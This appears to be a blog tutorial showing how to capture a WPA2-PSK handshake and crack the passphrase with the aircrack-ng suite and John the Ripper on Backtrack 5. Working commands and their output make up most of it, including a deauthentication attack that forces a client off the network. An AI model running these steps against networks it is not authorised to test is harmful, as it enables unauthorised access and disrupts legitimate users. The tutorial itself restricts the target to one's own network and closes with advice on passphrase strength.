So – everyone has cracked WEP & everyone knows it has a couple of seconds security around it.
This time I am getting connected to a WPA2 / PSK protected network.
Couple of things you will need
- Backtrack (I am using 5r1 )
- A wordlist – google is your friend here but there is a 3169 word list at /pentest/passwords/john/password.lst to get you started
- A wireless card
- A WPA or WPA2 network protected with a pre-shared key (your own of course)
==Drop the interface into monitor mode==
root@bt:~# airmon-ng start wlan0
Interface Chipset Driver
wlan0 Zydas zd1211 zd1211rw - [phy1]
(monitor mode enabled on mon0)
==Find your target wireless network==
root@bt:~# airodump-ng mon0
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:E7:D8:AD:B2:0E 0 61 0 0 11 54e WPA2 CCMP PSK Wireless
==Start capturing==
root@bt:~# airodump-ng mon0 --channel 11 --bssid 38:E7:D8:AD:B2:0E -w /tmp/wpa2
CH 11 ][ BAT: 3 hours 51 mins ][ Elapsed: 7 mins ][ 2011-09-26 21:24
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:E7:D8:AD:B2:0E 0 100 4319 83 0 11 54e WPA2 CCMP PSK Wireless
BSSID STATION PWR Rate Lost Packets Probes
38:E7:D8:AD:B2:0E 00:03:6D:F4:F8:86 0 1 -48 0 81 Wireless
So now that you are capturing the traffic, we can either wait for a user to connect, or deauth an existing one….
==Deauth an existing user to get the 4 way handshake==
root@bt:~# aireplay-ng -0 1 -a 38:E7:D8:AD:B2:0E -c 00:03:6D:F4:F8:86 mon0
21:25:49 Waiting for beacon frame (BSSID: 38:E7:D8:AD:B2:0E) on channel 11
21:25:50 Sending 64 directed DeAuth. STMAC: [00:03:6D:F4:F8:86] [62|63 ACKs]
root@bt:~#
Once the user is connected, you see the WPA handshake in the top right corner
CH 11 ][ BAT: 3 hours 43 mins ][ Elapsed: 1 min ][ 2011-09-26 21:27 ][ WPA handshake: 38:E7:D8:AD:B2:0E
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:E7:D8:AD:B2:0E 0 96 807 28 0 11 54e WPA2 CCMP PSK Wireless
BSSID STATION PWR Rate Lost Packets Probes
38:E7:D8:AD:B2:0E 00:03:6D:F4:F8:86 0 54 - 6 0 161
Now, the best bit of this over WEP cracking is that we no longer need to be anywhere near the network. The cracking is done offline.
==The easy way (No garuntee this will work)==
There are two ways to tackle this – at the end of the day, you need to brute force the password, but having a decent wordlist gives you a huge advantage over a,b,c,d 1,2,3,4 etc.
This is the secret sauce – without a decent wordlist, you got nothing.
For this example we will just use the one that comes with JTR in BT
root@bt:~# aircrack-ng -w /pentest/passwords/john/password.lst -b 38:E7:D8:AD:B2:0E /tmp/wpa*.cap
Opening /tmp/wpa2-01.cap
Opening /tmp/wpa2-02.cap
Reading packets, please wait...
Aircrack-ng 1.1 r1904
[00:00:00] 48 keys tested (489.60 k/s)
KEY FOUND! [ sunshine ]
Master Key : 02 A7 BC 5F 24 67 CA 2A B5 FC F0 01 1E D5 9B 2C
8B 42 A5 A8 C6 55 6B 33 4A 09 8B 07 84 D3 C0 1D
Transient Key : 3F 56 FD 2B 2F CE FA D9 55 14 84 2F 53 31 42 BF
8C FE 11 78 9F 51 48 33 97 62 E1 C6 D7 B1 9C 6C
6B D7 5A 1C 11 22 3F 0B 7E 1D 42 51 5E 55 F4 28
D2 3A DB 75 81 DD 4E BB 64 51 29 86 AA 55 06 7B
EAPOL HMAC : 17 6E 91 77 A2 A9 F1 C5 6F 33 02 4D 59 64 8A 9B
root@bt:~#
BOOHYA – our WPA2 PSK is sunshine
==The hard way (but will EVENTUALLY find it)==
root@bt:~# /pentest/passwords/john/john --stdout --incremental:all | aircrack-ng -b 38:E7:D8:AD:B2:0E -w - /tmp/wpa2*.cap
Opening /tmp/wpa2-01.cap
Opening /tmp/wpa2-02.cap
Reading packets, please wait...
Aircrack-ng 1.1 r1904
[00:00:22] 11484 keys tested (534.50 k/s)
KEY FOUND! [ sunshine ]
Master Key : 02 A7 BC 5F 24 67 CA 2A B5 FC F0 01 1E D5 9B 2C
8B 42 A5 A8 C6 55 6B 33 4A 09 8B 07 84 D3 C0 1D
Transient Key : 3F 56 FD 2B 2F CE FA D9 55 14 84 2F 53 31 42 BF
8C FE 11 78 9F 51 48 33 97 62 E1 C6 D7 B1 9C 6C
6B D7 5A 1C 11 22 3F 0B 7E 1D 42 51 5E 55 F4 28
D2 3A DB 75 81 DD 4E BB 64 51 29 86 AA 55 06 7B
EAPOL HMAC : 17 6E 91 77 A2 A9 F1 C5 6F 33 02 4D 59 64 8A 9B
root@bt:~#
So thats it … no smoke … no mirrors … Get the capture of a handshake, then brute force the key from it 😀
Remember this the next time you are thinking of a PSK for your wireless router.
A good page to read about password strength & get a feel for what it takes to brute force different passwords is the Password Haystacks page by Steve Gibson (grc.com)